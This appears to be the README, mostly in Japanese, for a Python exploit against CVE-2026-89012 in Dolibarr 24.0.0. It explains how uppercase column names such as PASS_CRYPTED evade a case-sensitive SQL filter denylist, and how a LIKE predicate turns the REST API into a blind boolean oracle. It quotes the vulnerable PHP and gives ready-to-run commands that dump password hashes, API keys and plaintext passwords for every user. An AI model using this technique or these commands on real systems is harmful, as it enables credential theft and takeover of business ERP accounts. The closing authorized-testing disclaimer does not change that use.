
CVE-2026-89012 用の Python エクスプロイト。Dolibarr の SQL フィルタ拒否リストをバイパスし、ブラインドブールオラクルを用いて REST API 経由でパスワードハッシュと API キーを抽出します。
CVE-2026-89012のエクスプロイト: forgeSQLFromUniversalSearchCriteria() における
禁止フィールド拒否リスト(CVE-2026-71510の修正で導入された)は、
大文字小文字を区別する in_array() を使用している一方、オペランドの文字セットは
A-Z を許可している。SQLのカラム解決は大文字小文字を区別しないため、
認証済みAPIユーザーは t.pass_crypted の代わりに t.PASS_CRYPTED を
クエリすることで拒否リストをバイパスできる。
LIKE 述語をプレフィックスとして付けると、sqlfilters がブラインド真偽オラクルに変わり、
パスワードハッシュを1文字ずつ復元できる。
レコード: https://www.cve.org/CVERecord?id=CVE-2026-89012
| 影響を受けるバージョン | Dolibarr 24.0.0 |
| 修正済み | 24.0.1 |
| 前提条件 | users->lire を持つ有効なAPIトークン |
| 影響 | pass_crypted、api_key、pass、pass_temp、openid の漏洩 |
// htdocs/core/lib/functions.lib.php, 24.0.0 line 16306
$operandwithoutprefix = preg_replace('/^[a-z0-9_]+\./i', '', $operand);
if (in_array($operandwithoutprefix, $newforbiddenfields)) { // case-sensitive
return '1=1';
}
# detection (safe, 3 requests)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY check
# list readable users
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY users
# extract pass_crypted for every user (threaded oracle)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump
# single target / other protected column
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --login admin
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --column API_KEY --charset hex
標準ライブラリのみ(Python 3.8+)。--proxy、--insecure、--timeout をサポート。
注記: 大文字小文字を区別しない照合順序(デフォルト)では、bcrypt値は
文字の大文字小文字まで正確に復元される。平文カラム(/api/index.php/members 経由の
llx_adherent.pass、pass_temp)はバイト単位で正確に復元される。

許可されたテストおよび研究のみを目的としています。自身が所有するシステム、 またはテストの明示的な許可を得たシステムに対してのみ使用してください。